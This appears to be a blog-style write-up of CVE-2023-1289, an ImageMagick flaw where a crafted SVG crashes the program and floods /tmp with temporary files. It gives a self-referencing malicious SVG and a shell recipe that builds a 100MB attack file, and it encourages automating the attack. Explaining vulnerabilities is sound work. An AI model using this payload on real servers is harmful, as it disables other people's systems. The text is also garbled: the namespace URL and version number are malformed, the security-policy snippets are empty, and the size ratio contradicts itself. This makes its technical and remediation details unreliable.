A critical vulnerability, CVE-2023-1289, was found in ImageMagick, a popular image processing tool widely used in web applications and server-side environments. This bug involves the way ImageMagick handles SVG (Scalable Vector Graphics) files. An attacker can craft a dangerous SVG image, causing ImageMagick to crash and create a large number of useless files in the /tmp folder—quickly eating up disk space and making the server unavailable.

This post will break down the flaw using plain language—with code snippets, example exploit details, and the essentials you need to know to protect your systems.  

What is ImageMagick?

ImageMagick is an open-source program for reading, converting, and editing images. Millions of websites, graphics apps, and servers use it to process uploads like JPEG, PNG, GIF, and SVG files.

What is CVE-2023-1289?

- CVE ID: CVE-2023-1289

Severity: Denial of Service

A specially created SVG file can make ImageMagick crash with a segmentation fault, causing the program to leave huge amounts of temporary files in /tmp every time it runs. This “trash” floods the disk, causing the server to choke, crash, or become useless.

How Does the Exploit Work?

ImageMagick uses temporary files in /tmp to process images. When it crashes—especially when converting SVGs—it doesn’t clean up those files. Attackers can abuse this behavior, generating _massive_ amounts of junk data with a small SVG upload.

Trick:  
If you send a specially formed SVG file of size t, ImageMagick creates temporary files of size around 103 * t.  
If t = 100MB, you get about 10GB of trash in /tmp!

ImageMagick tries to process the SVG, triggers the bug, and crashes.

3. A large number of temporary files get dumped into /tmp—not deleted.

Here is a basic example of a malicious SVG that can trigger the problem

<svg xmlns="http://www.w3.org/200/svg">;
  <image x="" y="" width="100" height="100" xlink:href="self.svg"/>
  <!-- This line tells the SVG to include itself, causing a crash loop -->
</svg>

Executing the Exploit

Let’s imagine a web app with an image upload feature. It takes your SVG and runs this command under the hood:

convert evil.svg out.png

A segmentation fault (crash)

- Many large temporary files in /tmp (magick-*.tmp)

Disk filling up FAST!

Results:  
One uploaded SVG causes *100x+* its size in junk. Repeat a few times and the disk is full—the server dies.

Why Does This Happen?

- SVGs can reference external images, even themselves. (e.g., <image xlink:href="self.svg"/>)

For security testing (only on your own systems!), try

# Generate a big SVG file
dd if=/dev/zero bs=1M count=100 | base64 > bigdata.txt

cat <<EOF > evil.svg
<svg xmlns="http://www.w3.org/200/svg">;
  <image xlink:href="evil.svg"/>
  <desc>
  $(cat bigdata.txt)
  </desc>
</svg>
EOF

convert evil.svg out.png

Upload just one 100MB SVG file

- ImageMagick creates about 10GB of trash in /tmp

Multiple uploads fill the disk within minutes

This can be automated for a fast, devastating denial of service attack.

Upgrade to ImageMagick 7.1.-63 or later (March 2023), where this is fixed.

- Release Notes
   - Official security advisory

Block SVG uploads if you don't need them.

- Use ImageMagick's security policy to disallow SVG:

`xml

3. Limit Temp Storage

- Use tmpfs with limited space for /tmp
- Monitor /tmp size and set up alerts

`xml

Official References

- CVE-2023-1289 (NVD)
- ImageMagick Security Policy
- ImageMagick GitHub Release 7.1.-63
- Upstream fix commit

Summary Table

| Aspect                | Description                              |
|-----------------------|------------------------------------------|
| Vulnerability     | Crafted SVG causes crash & temp file flood |
| Impact            | Denial of Service, Disk space exhaustion |
| Dangerous File    | SVG with self-reference                  |
| Exploit Ratio     | 1:100 (e.g. 100MB upload → 10GB of junk) |
| Status            | Fixed in 7.1.-63                        |

Conclusion

CVE-2023-1289 shows how small input files can lead to big security headaches for server owners. If you process SVGs with ImageMagick—update immediately, restrict SVGs if possible, and monitor your /tmp folder. Leaving this bug unfixed allows attackers to take down your server remotely with ease.

Stay safe!

If you liked this summary, share it to raise awareness—many sites still use old, vulnerable ImageMagick builds.

References

- CVE-2023-1289 on NVD
- ImageMagick Security Policy
- ImageMagick Release 7.1.-63
- How to limit disk and file resource in ImageMagick (IM docs)

Timeline

Published on: 03/23/2023 20:15:00 UTC
Last modified on: 03/30/2023 15:07:00 UTC